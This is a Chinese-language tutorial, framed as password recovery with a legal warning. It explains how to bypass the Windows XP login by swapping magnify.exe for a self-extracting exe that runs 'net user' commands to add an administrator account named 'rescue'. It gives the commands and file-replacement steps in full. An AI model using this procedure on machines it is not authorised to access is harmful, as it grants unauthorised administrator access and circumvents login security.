前言與原理
利用 Windows XP 登入畫面的「協助工具」漏洞:按 Win + U 可啟動放大鏡 (magnify.exe)。將 magnify.exe 替換為自訂程式(如新增管理員帳號的批次檔包裝成 .exe),即可在不知密碼情況下建立管理員帳號登入系統。
法律與道德警示: 僅限於自己合法擁有授權的電腦進行密碼遺失救援。未經授權存取他人電腦屬違法行為,請勿濫用。
所需工具
- USB 隨身碟 (1GB 以上)
- USboot (USB 開機製作工具)
- WinRAR (建立自解壓縮執行檔)
製作流程
1. 製作 USB 開機碟 (USboot HDD 模式)
- 執行 USboot → 插入 USB → 選擇該磁碟 → 開始 (會格式化 USB,請先備份資料)
- 格式化完成拔出 → 提示再插入 → 等待 1 分鐘完成
2. 製作替換用執行檔 (新增管理員帳號)
- 記事本建立批次檔
addadmin.bat:
@net user rescue 123456 /add
@net localgroup administrators rescue /add
@exit
- WinRAR 壓縮
addadmin.bat → 選「建立自解壓縮檔」 → 輸出 addadmin.exe → 複製到 USB
3. 進入系統替換 magnify.exe
- BIOS 設定 USB-HDD 為第一開機順序 → 存檔離開
- 插入 USB 開機 → 進入 Windows XP 桌面
- 開啟命令提示字元,切換至
C:\WINDOWS\system32
- 備份原檔:
copy magnify.exe 007magnify.exe
- 複製替換:
copy [USB磁碟機]:\addadmin.exe magnify.exe
4. 觸發機制取得存取權
- 重開機從硬碟啟動 → 進入 XP 登入畫面
- 按 Ctrl + Alt + Del 兩次 (或 Win + U) 呼叫放大鏡 → 實際執行
addadmin.exe 建立帳號 rescue/123456
- 使用新帳號登入 → 修改原管理員密碼或備份資料
重要限制: 僅適用 FAT32 分區環境;NTFS 分區因檔案權限保護可能無法直接覆寫 system32 檔案。另 Windows Vista/7/10 已修補此漏洞,此法僅限 XP/2000。